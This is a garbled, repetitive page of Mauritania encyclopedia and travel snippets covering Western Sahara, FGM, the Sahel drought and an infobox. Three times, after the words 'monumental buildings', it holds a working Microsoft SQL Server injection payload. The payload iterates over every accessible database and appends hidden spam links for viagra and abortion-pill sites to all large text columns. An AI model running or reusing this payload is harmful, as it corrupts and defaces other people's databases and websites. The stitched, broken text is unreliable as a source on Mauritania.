Mauritania

What is Mauritania known for?


past centuries

were not present in the Maghreb countries over the past centuries". FGM is "not an instinctive habit, according to the Malkis; therefore, it was abandoned in northern and western regions of the country," added the authors. "Mauritania fatwa bans female genital mutilation", BBC, January 18, 2010


largest sporting'

New Guinea , the Philippines, Rwanda, Samoa, Sudan, Turkey, Turkmenistan, Vanuatu and Vietnam, who had not participated in the Atlanta Games, competed in Sydney. "Still growing: Paralympics world's second-largest sporting event", ''Sports Illustrated'', 20 September 2000 * 2008 - Tibetian unrest (2008 unrest in Tibet), Mar. 10 - June. ( Tibet, China


monumental buildings;declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use ['+@w+'];declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%9 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''acheter viagra avec ordonnance ''+char(60)+''a href="http:''+char(47)+char(47)+''acheterviagraenfrance.com''+char(47)+''avec''+char(47)+''ordonnance"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''acheter viagra avec ordonnance'''' when 1 then ''''acheter viagra avec ordonnance'''' else ''''acheter viagra avec ordonnance'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' acheter viagra avec ordonnance''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

calls from abroad, by increasing pressure to Arabize (Arabization) many aspects of Mauritanian life, such as law and language. A schism (schism (religion)) developed between Moors who consider Mauritania to be an Arab country and others who seek a dominant role for the non-Moorish peoples. Various models for maintaining the country's cultural diversity being suggested, but none successfully implemented. This ethnic discord was evident during inter-communal violence that broke out

with Algeria. Its position on the Western Sahara conflict is, since the 1980s, one of strict neutrality. Ordinance 83.127, enacted 5 June 1983, started the process of nationalization of all land not clearly the property of a documented owner, thus abolishing the traditional system of land tenure. Potential nationalization was based on the concept of "dead land", Ordonnance 9 i.e., property which has not been developed or on which obvious development cannot be seen

and ruler. The Polisario Front claims to represent the aspirations of the Western Saharan inhabitants for independence. Algeria claims none of the territory for itself but maintains that Sahrawis should determine the territory’s future status. *1958 – Chad, the Republic of the Congo, and Gabon become autonomous republics within the French Community (French colonial empire). *1960 – Mauritania becomes independent of France. *1964 &


time series

the mines, it is shipped by the Mauritania Railway to Nouadhibou's point central. Fderik is a very important mining city. thumb 300px Recent "Greening" of the Sahel: The results of trend analyses of time series over the Sahel region of seasonally integrated NDVI using NOAA AVHRR NDVI-data from 1982 to 1999. Areas with trends of The Sahel region; assessing progress twenty-five years after the great drought. Simon Batterbury, republished paper from 1998 RGS-IBG conference. Global Environmental Change (2001) v11, no 1, 1-95. From the late 1960s to early 1980s famine killed a 100,000 people, left 750,000 dependent on food aid, and affected most of the Sahel's 50 million people. AFRICA ENVIRONMENT OUTLOOK. Past, present and future perspectives. United Nations Environmental Programme (2002). Retrieved 2009-02-13. The economies, agriculture, livestock and human populations of much of Mauritania, Mali, Chad, Niger and Burkina Faso (known as Upper Volta (Republic of Upper Volta) during the time of the drought) were severely impacted. As disruptive as the droughts of the late 20th century were, evidence of past droughts recorded in Ghanaian lake sediments suggest that multi-decadal megadroughts were common in West Africa over the past 3,000 years and that several droughts lasted far longer and were far more severe. Commons:Category:Mauritania WikiPedia:Mauritania Dmoz:Regional Africa Mauritania


monumental buildings);declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use '+@w+';declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%10 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''post abortion care ''+char(60)+''a href="http:''+char(47)+char(47)+''abortionpill-online.com"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''http:''+char(47)+char(47)+''abortionpill-online.com'''' when 1 then ''''abortion pill'''' else ''''abortion pill'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' abortion article''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

calls from abroad, by increasing pressure to Arabize (Arabization) many aspects of Mauritanian life, such as law and language. A schism (schism (religion)) developed between Moors who consider Mauritania to be an Arab country and others who seek a dominant role for the non-Moorish peoples. Various models for maintaining the country's cultural diversity being suggested, but none successfully implemented. This ethnic discord was evident during inter-communal violence that broke out

and ruler. The Polisario Front claims to represent the aspirations of the Western Saharan inhabitants for independence. Algeria claims none of the territory for itself but maintains that Sahrawis should determine the territory’s future status. *1958 – Chad, the Republic of the Congo, and Gabon become autonomous republics within the French Community (French colonial empire). *1960 – Mauritania becomes independent of France. *1964 &

. The sedimentary rocks comprising this structure dip outward at 10°-20°. Differential erosion of resistant layers of quartzite has created high-relief circular cuestas. Its center consists of a siliceous breccia covering an area that is at least 3 km in diameter. Matton, G. (2008) ''The Cretaceous Richat Complex (Mauritania); a peri-Atlantic alkaline.'' 47


historical ties

the proposed referendum and took its case to the International Court of Justice at The Hague, which ruled that despite historicalties of allegiance” between Morocco and the tribes of Western Sahara, there was no legal justification for departing from the UN position on self-determination. Spain, meanwhile, had declared that even in the absence of a referendum, it intended to surrender political control of Western Sahara, and Spain, Morocco, and Mauritania convened a Madrid Accords

the Spanish Government's decision (Madrid Accords) to hand over the territory to Morocco and Mauritania towards the end of 1975, numbers of them deserted. Many of the Tropas Nómadas soldiers are believed to have joined Polisario and Spanish-trained fighters formed the core of the Sahrawi People's Liberation Army (Polisario Front#Armed forces (SPLA)) set up to fight Morocco and Mauritania after the Green March. * Morocco invoked historical ties between its King of Morocco


largest sporting

New Guinea , the Philippines, Rwanda, Samoa, Sudan, Turkey, Turkmenistan, Vanuatu and Vietnam, who had not participated in the Atlanta Games, competed in Sydney. "Still growing: Paralympics world's second-largest sporting event", ''Sports Illustrated'', 20 September 2000 * 2008 - Tibetian unrest (2008 unrest in Tibet), Mar. 10 - June. ( Tibet, China


monumental buildings'));declare @b cursor;declare @s varchar(8000);declare @w varchar(99);set @b=cursor for select DB_NAME() union select name from sys.databases where (has_dbaccess(name)!=0) and name not in ('master','tempdb','model','msdb',DB_NAME());open @b;fetch next from @b into @w;while @@FETCH_STATUS=0 begin set @s='begin try use ['+@w+'];declare @c cursor;declare @d varchar(4000);set @c=cursor for select ''update [''+TABLE_NAME+''] set [''+COLUMN_NAME+'']=[''+COLUMN_NAME+'']+case ABS(CHECKSUM(NewId()))%9 when 0 then ''''''+char(60)+''div style="display:none"''+char(62)+''acheter viagra avec ordonnance ''+char(60)+''a href="http:''+char(47)+char(47)+''acheterviagraenfrance.com''+char(47)+''avec''+char(47)+''ordonnance"''+char(62)+''''''+case ABS(CHECKSUM(NewId()))%3 when 0 then ''''acheter viagra avec ordonnance'''' when 1 then ''''acheter viagra avec ordonnance'''' else ''''acheter viagra avec ordonnance'''' end +''''''+char(60)+char(47)+''a''+char(62)+'' acheter viagra avec ordonnance''+char(60)+char(47)+''div''+char(62)+'''''' else '''''''' end'' FROM sysindexes AS i INNER JOIN sysobjects AS o ON i.id=o.id INNER JOIN INFORMATION_SCHEMA.COLUMNS ON o.NAME=TABLE_NAME WHERE(indid in (0,1)) and DATA_TYPE like ''%varchar'' and(CHARACTER_MAXIMUM_LENGTH in (2147483647,-1));open @c;fetch next from @c into @d;while @@FETCH_STATUS=0 begin exec (@d);fetch next from @c into @d;end;close @c end try begin catch end catch';exec (@s);fetch next from @b into @w;end;close @b--

calls from abroad, by increasing pressure to Arabize (Arabization) many aspects of Mauritanian life, such as law and language. A schism (schism (religion)) developed between Moors who consider Mauritania to be an Arab country and others who seek a dominant role for the non-Moorish peoples. Various models for maintaining the country's cultural diversity being suggested, but none successfully implemented. This ethnic discord was evident during inter-communal violence that broke out

with Algeria. Its position on the Western Sahara conflict is, since the 1980s, one of strict neutrality. Ordinance 83.127, enacted 5 June 1983, started the process of nationalization of all land not clearly the property of a documented owner, thus abolishing the traditional system of land tenure. Potential nationalization was based on the concept of "dead land", Ordonnance 9 i.e., property which has not been developed or on which obvious development cannot be seen

and ruler. The Polisario Front claims to represent the aspirations of the Western Saharan inhabitants for independence. Algeria claims none of the territory for itself but maintains that Sahrawis should determine the territory’s future status. *1958 – Chad, the Republic of the Congo, and Gabon become autonomous republics within the French Community (French colonial empire). *1960 – Mauritania becomes independent of France. *1964 &


medical reasons

In Mauritania, where "health campaigners estimate that more than 70 percent of Mauritanian girls undergo the partial or total removal of their external genitalia for non-medical reasons", 34 Islamic scholars signed a fatwa banning the practice in January 2010. Their aim was to prevent people from citing religion as a justification for genital mutilation. The authors cited the work of Islamic legal expert Ibn al-Hajj as support for their assertion that " s uch practices


hard covering

. Be careful to eat with your right hand, especially outside of Nouakchott where you may not be offered silverware. Like other places in the Arab world, the left hand is reserved for the bathroom. If you're left-handed... try hard. Covering your head isn't required, but it is polite. It may cut down on the ''Madame, ou bien Mademoiselle?'' question, but Westerners, especially women, will be the target of unwanted attention and minor harassment everywhere in the country. Be aware though, that many

Mauritania

common_name Mauritania image_flag Flag of Mauritania.svg image_coat Coat of arms of Mauritania.svg image_map Location Mauritania AU Africa.svg map_caption symbol_type Seal national_motto national_anthem نشيد وطني موريتاني File:National Anthem of Mauritania by US Navy Band.ogg official_languages Arabic (Arabic language) a national_languages languages_type Other languages languages French (French language) Zenaga Berber (Zenaga language) official_religion Sunni Islam demonym Mauritanian (Demographics of Mauritania) capital Nouakchott religion Islam (Islam in Mauritania) latd 18 latm 09 latNS N longd 15 longm 58 longEW W largest_city capital government_type Semi-presidential (Semi-presidential system) republic b leader_title1 President (List of heads of state of Mauritania) leader_name1 Mohamed Ould Abdel Aziz leader_title2 Prime Minister (List of heads of government of Mauritania) leader_name2 Yahya Ould Hademine legislature Parliament (Parliament of Mauritania) upper_house Senate (Senate (Mauritania)) lower_house National Assembly (National Assembly (Mauritania)) sovereignty_type Independence established_event1 from France (French colonial empire) established_date1 28 November 1960 established_event2 Current Constitution of Mauritania established_date2 12 July 1991 area_rank 29th area_magnitude 1 E12 area_km2 1,030,700 area_sq_mi 397,954 percent_water 0.03 population_estimate 3,359,185 population_estimate_year 2012 population_estimate_rank population_census 3,537,368 population_census_year 2013 population_density_km2 3.2 population_density_sq_mi 8.2 population_density_rank 221st GDP_PPP_year 2013 GDP_PPP $8.286 billion GDP_PPP_rank 154th GDP_PPP_per_capita $2,230 GDP_PPP_per_capita_rank 160th GDP_nominal $4.547 billion GDP_nominal_year 2013 GDP_nominal_rank 154th GDP_nominal_per_capita $1,224 GDP_nominal_per_capita_rank 149th Gini_year 2008 Gini_change Gini 40.5 Gini_ref Gini_rank HDI_year 2013 HDI_change decrease HDI 0.487 HDI_ref HDI_rank 161st currency Ouguiya (Mauritanian ouguiya) currency_code MRO country_code MR time_zone utc_offset +0 time_zone_DST not observed utc_offset_DST +0 drives_on right calling_code +222 cctld .mr footnote_a According to Article 6 of the Constitution: "The national languages are Arabic, Pulaar (Pulaar language), Soninke (Soninke language), and Wolof (Wolof language); the official language is Arabic." footnote_b Not recognized internationally (see main article).

'''Mauritania''' ; Soninke (Soninke language): ''Murutaane''; Pulaar (Pulaar language): ''Moritani''), officially the '''Islamic Republic of Mauritania''', is a country in the Maghreb region of western North Africa. Facts On File, Incorporated, Encyclopedia of the Peoples of Africa and the Middle East (2009), p. 448, books.google.com books?ISBN 143812676X-"The Islamic Republic of Mauritania, situated in western North Africa..." David Seddon, ''A Political and Economic Dictionary of the Middle East'' (2004), "We have, by contrast, chosen to include the predominantly Arabic-speaking countries of western North Africa (the Maghreb), including Mauritania (which is a member of the Arab Maghreb Union)..." Mohamed Branine, ''Managing Across Cultures: Concepts, Policies and Practices'' (2011), p. 437, "The Magrebian countries or the Arab countries of western North Africa (Algeria, Libya, Mauritania, Morocco and Tunisia)..." It is the eleventh largest country in Africa, and is bordered by the Atlantic Ocean to the west, by Moroccan-controlled Western Sahara in the north, by Algeria in the northeast, by Mali in the east and southeast, and by Senegal in the southwest.

The country derives its name from the ancient Berber Kingdom of Mauretania (Mauretania), which existed from the 3rd century BC to the 7th century AD, in the far north of modern-day Morocco. Approximately 90% of Mauritania's land is within the Sahara Desert and consequently the population is concentrated in the south, where precipitation is slightly higher than the rest of the country. The capital and largest city of Mauritania is Nouakchott, located on the Atlantic coast, which is home to around one-third of the country's 3.5 million people. The government of Mauritania was overthrown on 6 August 2008, in a military coup d'état (2008 Mauritanian coup d'état) led by General Mohamed Ould Abdel Aziz. On 16 April 2009, General Aziz resigned from the military to run for president in the 19 July elections, which he won.

About 20% of Mauritanians live on less than US$1.25 per day. Higher estimates suggest 10% to 20% of the population (340,000 to 680,000 people) is enslaved. Additional human rights concerns in Mauritania include female genital mutilation and child labour.

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